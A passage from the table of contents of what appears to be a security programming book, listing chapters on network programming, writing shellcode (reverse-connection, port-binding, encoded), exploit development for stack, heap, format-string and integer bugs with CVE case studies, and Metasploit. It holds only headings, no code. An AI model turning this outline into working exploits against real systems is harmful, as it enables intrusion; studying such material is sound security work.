. . . . . . . . . . . . . .233 fork . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .234 exit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .234 Multithreading . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .234 Thread Creation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .234 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .235 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .235 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .237 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .237 Thread Coordination . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .237 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .239 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .239 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .241 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .241 Signals . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .242 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .243 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .244 File Handling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .244 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .245 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .246 Directory Handling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .247 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .248 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .249 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .250 Libraries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .250 Dynamic Loading of Libraries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .252 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .254 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .255 Daemon/Win32 Service Programming . . . . . . . . . . . . . . . . . . . . . . . . .256 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .257 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .258 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .261 Memory Management . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .262 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .263 Command-line Argument Processing . . . . . . . . . . . . . . . . . . . . . . . . . .263 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .264 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .266 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .267 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .268 Integer Data Types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .267 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .267 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .269 Solutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .269 Frequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .269 Contents xix Chapter 7 Portable Network Programming . . . . . . . . . . . . . . . . . . . . 273 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .274 BSD Sockets and Winsock . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .274 Winsock Requirements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .274 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .276 Portable Components . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .276 Return Values . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .276 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .277 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .277 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .278 Extended Error Information . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .278 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .280 The API . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .280 Winsock 2.0 Extensions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .280 read(), write() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .280 socket() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .280 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .282 connect() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .282 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .285 bind() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .285 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .287 listen() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .287 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .290 accept() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .290 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .293 select() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .293 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .297 send(), sendto() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .298 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .301 recv(), recvfrom() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .301 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .304 Close(), Closesocket() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .305 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .306 setsockopt() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .307 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .309 Ioctl(), Ioctlsocket() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .309 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .311 Raw Sockets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .312 API Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .312 Header Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .312 IP(v4) Header File: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .313 ICMP Header File: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .315 UDP Header File: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .315 TCP Header File (tcp.h): . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .316 Local IP Address Determination . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .317 Contents User Supplied . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .317 Listing Interfaces . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .318 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .321 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .322 Pcap and WinPcap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .323 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .327 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .328 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .329 Solutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .329 Frequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .330 Chapter 8 Writing Shellcode I . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 333 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .334 Overview of Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .334 The Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .335 The Assembly Programming Language . . . . . . . . . . . . . . . . . . . . .335 Windows vs UNIX Assembly . . . . . . . . . . . . . . . . . . . . . . . . . . .339 The Addressing Problem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .339 Using the call and jmp Trick . . . . . . . . . . . . . . . . . . . . . . . . . . . .339 Pushing the Arguments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .340 The NULL Byte Problem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .341 Implementing System Calls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .342 System Call Numbers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .342 System Call Arguments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .343 System Call Return Values . . . . . . . . . . . . . . . . . . . . . . . . . . . . .344 Remote Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .345 Port Binding Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .345 Socket Descriptor Reuse Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . .346 Local Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .348 execve Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .348 setuid Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .349 chroot Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .350 Windows Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .354 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .359 Solutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .360 Links to Sites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .362 Mailing Lists . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .362 Frequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .363 Chapter 9 Writing Shellcode II . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 365 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .366 Shellcode Examples . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .366 The Write System Call . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .368 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .369 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .371 execve Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .372 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .373 Contents xxi Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .373 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .375 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .376 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .378 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .379 Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .380 Port Binding Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .380 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .381 The socket System Call . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .383 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .383 The bind System Call . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .383 The listen System Call . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .384 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .384 The accept System Call . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .385 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .385 The dup2 System Calls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .385 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .385 The execve System Call . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .386 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .386 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .389 Reverse Connection Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .391 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .393 Socket Reusing Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .394 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .395 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .395 Reusing File Descriptors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .396 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .396 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .398 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .399 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .399 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .400 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .401 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .402 Encoding Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .402 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .403 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .405 Execution Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .407 Reusing Program Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .407 Open-Source Programs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .408 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .409 Closed-Source Programs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .409 Execution Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .410 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .411 OS-Spanning Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .411 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .412 Understanding Existing Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .412 xxii Contents Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .414 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .416 Solutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .416 Links to Sites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .418 Mailing Lists . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .418 Frequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .419 Chapter 10 Writing Exploits I . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 421 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .422 Targeting Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .422 Remote and Local Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .423 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .424 Format String Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .424 Format Strings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .424 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .425 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .425 Fixing Format String Bugs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .426 Case Study: xlockmore User-Supplied Format String Vulnerability CVE-2000-0763 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .427 Vulnerability Details . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .427 Exploitation Details . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .427 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .429 TCP/IP Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .429 Race Conditions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .430 File Race Conditions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .430 Signal Race Conditions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .431 Case Study: man Input Validation Error . . . . . . . . . . . . . . . . . . . . . . . . . . . . .432 Vulnerability Details . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .432 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .435 Solutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .435 Links to Sites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .436 Frequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .437 Chapter 11 Writing Exploits II . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 439 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .440 Coding Sockets and Binding for Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . .440 Client-Side Socket Programming . . . . . . . . . . . . . . . . . . . . . . . . . . . . .441 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .441 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .442 Server-Side Socket Programming . . . . . . . . . . . . . . . . . . . . . . . . . . . . .442 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .444 Stack Overflow Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .444 Memory Organization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .444 Stack Overflows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .446 Finding Exploitable Stack Overflows in Open-Source Software . . . . . . .449 Case Study: X11R6 4.2 XLOCALEDIR Overflow . . . . . . . . . . . . . . . . . . . .450 The Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .450 Contents xxiii The Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .452 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .454 Finding Exploitable Stack Overflows in Closed-Source Software . . . . . .454 Heap Corruption Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .455 Doug Lea Malloc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .456 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .458 Case Study: OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability CAN-2002-0656 . . . . . . . . . . . . . . . . . . . . . . . . . .459 The Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .460 Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .460 The Complication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .461 Improving the Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .462 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .463 Exploit Code for OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow . . . . . . . . . . . . . . . . . . . . . . . . . . . . .463 System V Malloc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .468 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .470 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .471 Integer Bug Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .472 Integer Wrapping . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .472 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .473 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .474 Bypassing Size Checks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .475 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .475 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .476 Other Integer Bugs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .476 Case Study: OpenSSH Challenge Response Integer Overflow Vulnerability CVE-2002-0639 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .477 Vulnerability Details . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .477 Exploitation Details . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .478 Case Study: UW POP2 Buffer Overflow Vulnerability CVE-1999-0920 . . . . .480 Vulnerability Details . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .480 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .488 Solutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .488 Links to Sites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .489 Frequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .490 Chapter 12 Writing Exploits III . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 491 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .492 Using the Metasploit Framework . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .492 Exploit Development with Metasploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .498 Determining the Attack Vector . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .499 Finding the Offset . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .499 Selecting a Control Vector . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .504 Finding a Return Address . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .509 Using the Return Address . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .513 xxiv Contents Determining Bad Characters . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .514 Determining Space Limitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .515 Nop Sleds . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .517 Choosing a Payload and Encoder . . . . . . . . . . . . . . . . . . . . . . . . . . . . .518 Integrating Exploits into the Framework . . . . . . . . . . . . . . . . . . . . . . . . . . . .527 Understanding the Framework . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .527 Analyzing an Existing Exploit Module . . . . . . . . . . . . . . . . . . . . . . . . .528 Overwriting Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .533 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .534 Solutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .534 Links to Sites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .535 Frequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .536 Chapter 13 Writing Security Components . . . . . . . . . . . . . . . . . . . . . 539 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .540 COM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .540 COM Objects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .540 COM Interfaces . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .541 IUnknown . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .541 Calling Convention . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .541 The COM Runtime . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .541 COM Object Implementation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .542 COM Registration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .543 HKEY_CLASSES_ROOT\CLSID . . . . . . . . . . . . . . . . . . . . . . .544 HKEY_CLASSES_ROOT\CLSID\ {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} . . . . . . . . . . . . . . .544 InprocServer32 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .544 LocalServer32 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .544 COM IN-PROCESS Server Implementation . . . . . . . . . . . . . . . . . . . .544 DllGetClassObject . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .545 DllCanUnloadNow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .545 DllRegisterServer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .545 DllUnregisterServer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .545 ATL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .546 C++ Templates . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .546 ATL Client Technologies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .547 Smart Pointers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .547 Datatype Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .548 BSTR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .548 VARIANT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .548 ATL Server Technologies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .550 Class Composition . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .550 Interface Definition Language . . . . . . . . . . . . . . . . . . . . . . . . . . .553 